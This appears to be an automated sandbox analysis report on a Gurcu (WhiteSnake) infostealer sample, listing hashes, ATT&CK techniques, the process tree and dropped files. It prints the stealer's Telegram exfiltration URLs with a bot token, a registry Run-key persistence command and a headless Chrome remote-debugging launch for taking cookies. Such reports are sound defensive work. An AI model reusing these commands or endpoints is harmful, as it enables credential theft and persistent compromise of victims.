gurcu | 30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2025, 15:09

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General

Target

data.exe
Size

5.7MB
MD5

fb25fdd6ff14150c12aadd9ee2d1a132
SHA1

3cfb3536cd95f0b45e3540241b29aaac8195969b
SHA256

30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c
SHA512

ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494
SSDEEP

98304:m2+l27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Ucz:moOuK6mn9NzgMoYkSIvUcwti7TQlvciE

Score

10^/10

gurcu credential_access discovery persistence spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendMessage?chat_id=-1002258988684

https://api.telegram.org/bot8077286634:AAG1XHb6leJVqlqfJbmVoJd2ysHqXSznNdQ/sendDocument?chat_id=-1002258988684&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Uses browser remote debugging 2 TTPs 1 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
1784	chrome.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	data.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	conhost.exe

Executes dropped EXE 1 IoCs

pid	Process
4092	conhost.exe

Loads dropped DLL 2 IoCs

pid	Process
1700	data.exe
4092	conhost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\AdobeUpdate\\conhost.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com
28	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3968	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	conhost.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2684	timeout.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1664	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
1700	data.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe
4092	conhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	data.exe
Token: SeDebugPrivilege	3968	tasklist.exe
Token: SeDebugPrivilege	4092	conhost.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe
Token: SeCreatePagefilePrivilege	1784	chrome.exe
Token: SeShutdownPrivilege	1784	chrome.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 3604	1700	data.exe	95
PID 1700 wrote to memory of 3604	1700	data.exe	95
PID 3604 wrote to memory of 1808	3604	cmd.exe	97
PID 3604 wrote to memory of 1808	3604	cmd.exe	97
PID 3604 wrote to memory of 3968	3604	cmd.exe	98
PID 3604 wrote to memory of 3968	3604	cmd.exe	98
PID 3604 wrote to memory of 4832	3604	cmd.exe	99
PID 3604 wrote to memory of 4832	3604	cmd.exe	99
PID 3604 wrote to memory of 2684	3604	cmd.exe	101
PID 3604 wrote to memory of 2684	3604	cmd.exe	101
PID 3604 wrote to memory of 4092	3604	cmd.exe	102
PID 3604 wrote to memory of 4092	3604	cmd.exe	102
PID 4092 wrote to memory of 4444	4092	conhost.exe	106
PID 4092 wrote to memory of 4444	4092	conhost.exe	106
PID 4444 wrote to memory of 1664	4444	cmd.exe	108
PID 4444 wrote to memory of 1664	4444	cmd.exe	108
PID 4092 wrote to memory of 1784	4092	conhost.exe	110
PID 4092 wrote to memory of 1784	4092	conhost.exe	110
PID 1784 wrote to memory of 1952	1784	chrome.exe	111
PID 1784 wrote to memory of 1952	1784	chrome.exe	111
PID 1784 wrote to memory of 1968	1784	chrome.exe	112
PID 1784 wrote to memory of 1968	1784	chrome.exe	112
PID 1784 wrote to memory of 5024	1784	chrome.exe	113
PID 1784 wrote to memory of 5024	1784	chrome.exe	113

C:\Users\Admin\AppData\Local\Temp\data.exe
"C:\Users\Admin\AppData\Local\Temp\data.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1808
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 1700"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3968
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:4832
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2684
- - C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe
    "C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4092
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4444
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory="Default" --headless --no-sandbox --disable-gpu
      4⤵
      Uses browser remote debugging
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1784
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x10c,0x110,0x114,0xe8,0x118,0x7ff975c1cc40,0x7ff975c1cc4c,0x7ff975c1cc58
        5⤵
        
        PID:1952
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --use-angle=swiftshader-webgl --headless --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1484,i,12141494683127054179,1806769446069481268,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1468 /prefetch:2
        5⤵
        
        PID:1968
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --use-angle=swiftshader-webgl --use-gl=angle --headless --field-trial-handle=1664,i,12141494683127054179,1806769446069481268,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1660 /prefetch:3
        5⤵
        
        PID:5024

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Modify Authentication Process

T1556

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\05A92EC28EDC5561548638CAA951F864\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpDB4C.tmp.bat

Filesize
283B

MD5
e5631ba1c2866aa1d26e6cd59b0d07af

SHA1
441c8729199533be3c224c7781f080621944edaa

SHA256
b82cb2368456448f827e6e76b55144ca450dc7f78c52c1585c46498468a5242f

SHA512
98039d0eeef9a0ea75819fd60f2af0638456bac10ffbdeb899768157455d20e6f1e7818e19ac7ea798fd5482337ee5f5b51f749a5cc7063bbb5243f674da15ae

Download Submit
C:\Users\Admin\AppData\Roaming\AdobeUpdate\conhost.exe

Filesize
5.7MB

MD5
fb25fdd6ff14150c12aadd9ee2d1a132

SHA1
3cfb3536cd95f0b45e3540241b29aaac8195969b

SHA256
30aa5d63d57d96e48788efcf488f3fb7ba05354313a383f15d5c5caca632c87c

SHA512
ffa52a7225aab5c5518d2ec872b20bb81a964b41205308cb72356e8f443b333a89239920989ffe032f5b5009d34ea04c4ffa8944e648633321c9a6685a3d9494

Download Submit
memory/1700-8-0x0000018F34390000-0x0000018F343AE000-memory.dmp

Filesize
120KB

Download
memory/1700-0-0x00007FF97C103000-0x00007FF97C105000-memory.dmp

Filesize
8KB

Download
memory/1700-9-0x0000018F343B0000-0x0000018F343BA000-memory.dmp

Filesize
40KB

Download
memory/1700-10-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1700-14-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1700-7-0x00007FF97C100000-0x00007FF97CBC1000-memory.dmp

Filesize
10.8MB

Download
memory/1700-6-0x0000018F35D30000-0x0000018F35DA6000-memory.dmp

Filesize
472KB

Download
memory/1700-1-0x0000018F33990000-0x0000018F33F52000-memory.dmp

Filesize
5.8MB

Download
memory/4092-24-0x0000015FFE530000-0x0000015FFE580000-memory.dmp

Filesize
320KB

Download
memory/4092-23-0x0000015FFE430000-0x0000015FFE4E2000-memory.dmp

Filesize
712KB

Download
memory/4092-25-0x0000015FFE580000-0x0000015FFE5A2000-memory.dmp

Filesize
136KB

Download
memory/4092-27-0x0000015FFF1E0000-0x0000015FFF21A000-memory.dmp

Filesize
232KB

Download
memory/4092-28-0x0000015FFF1A0000-0x0000015FFF1C6000-memory.dmp

Filesize
152KB

Download
memory/4092-29-0x0000015FFF240000-0x0000015FFF56E000-memory.dmp

Filesize
3.2MB

Download
memory/4092-48-0x0000015FFF590000-0x0000015FFF5A2000-memory.dmp

Filesize
72KB

Download
memory/4092-54-0x0000015FFF740000-0x0000015FFF7EA000-memory.dmp

Filesize
680KB

Download
memory/4092-55-0x0000015F98490000-0x0000015F984CE000-memory.dmp

Filesize
248KB

Download
memory/4092-21-0x0000015FFE3C0000-0x0000015FFE42A000-memory.dmp

Filesize
424KB

Download